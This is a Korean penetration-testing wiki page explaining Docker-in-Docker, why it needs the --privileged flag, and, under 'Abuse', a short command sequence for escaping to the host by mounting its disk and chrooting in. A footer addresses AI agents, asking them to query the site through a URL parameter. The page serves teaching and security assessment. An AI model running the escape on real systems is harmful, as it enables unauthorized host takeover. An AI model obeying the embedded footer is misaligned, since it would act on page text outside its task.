# DinD

DinD(Docker in Docker)는 컨테이너 내부에서 Docker 이미지를 빌드하기 위해 컨테이너 안에서 Docker daemon(dockerd)을 구동하는 구조입니다.

Docker가 공개된 2013년 이전의 CI/CD(대표적으로 Jenkins)는 VM이나 베어메탈에 직접적으로 결과물을 배포했기 때문에 Jenkins 서버에 여러 라이브러리의 버전들이 설치되어야만 했습니다.

<figure><img src="/files/7E26L8XRYpNJid8q512M" alt=""><figcaption><p>Before Docker (~2013)</p></figcaption></figure>

이런 불편함들은 2013년 도커의 등장으로 달라지게 됩니다.

더이상 Jenkins 서버에는 라이브러리를 설치할 필요 없이, 개발자들은 원하는 코드를 이미지로 만들어서 전송한 뒤 Jenkins 서버에서 도커 이미지를 빌드하는 방식으로 변했습니다.

<figure><img src="/files/uVH0fS8gct4bQ0JFxY4q" alt=""><figcaption><p>with Docker (2013~)</p></figcaption></figure>

시간이 더 지나 Jenkins 서버 자체도 컨테이너로 운영할 수 있게되었는데, 기존의 이미지들을 Jenkins 내에서 도커로 빌드하던 방식이 그대로 전이되어 컨테이너 안에서 Docker 데몬을 실행해야 하는 상황이 발생했으며, 이것이 Docker in Docker의 탄생 배경입니다.

<figure><img src="/files/GIExXYLBcxK2kjq1hfFS" alt=""><figcaption><p>Docker in Docker (2015~)</p></figcaption></figure>

Docker 데몬을 통해서 컨테이너를 생성할 때는 namespace, cgroups 등과 같은 호스트 커널에 접근해야 하는 기능을 갖고 있어야해서 외부 컨테이너 빌드 시 `--privileged` 옵션이 반드시 필요합니다.

{% hint style="info" %}
privileged 옵션은 컨테이너에 모든 Capabilities를 부여 및 디바이스 접근 제한을 해제하는 옵션입니다.

과거 UNIX 권한 모델은 사용자가 root 권한을 갖거나 일반 사용자 권한만을 가지는 두 가지 선택지밖에 없었지만, 리눅스 커널 2.2부터는 상세한 권한을 컨트롤 할 수 있는 Capabilities가 도입되었습니다.
{% endhint %}

<pre class="language-bash"><code class="lang-bash"><strong># dind 이미지를 통해 DinD 구현
</strong>docker run --privileged --name dind-container docker:dind
</code></pre>

외부 컨테이너에는 호스트 커널에 접근할 수 있는 권한이 있기 때문에 공격자들은 외부 컨테이너에서 도커 이스케이프(Docker Escape)가 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># Capabilities 권한 확인
</strong>cat /proc/self/status | grep Cap

<strong># 마운트 된 디스크 확인
</strong>lsblk

<strong># 마운트할 디렉토리 생성 후 호스트 디렉토리와 마운트
</strong>mkdir /tmp/sdd
mount -o ro /dev/sdd /tmp/sdd

<strong># 마운트 이후 호스트 파일 획득
</strong>chroot /tmp/sdd /bin/bash
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/docker-and-kubernetes/container-escape/dind.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
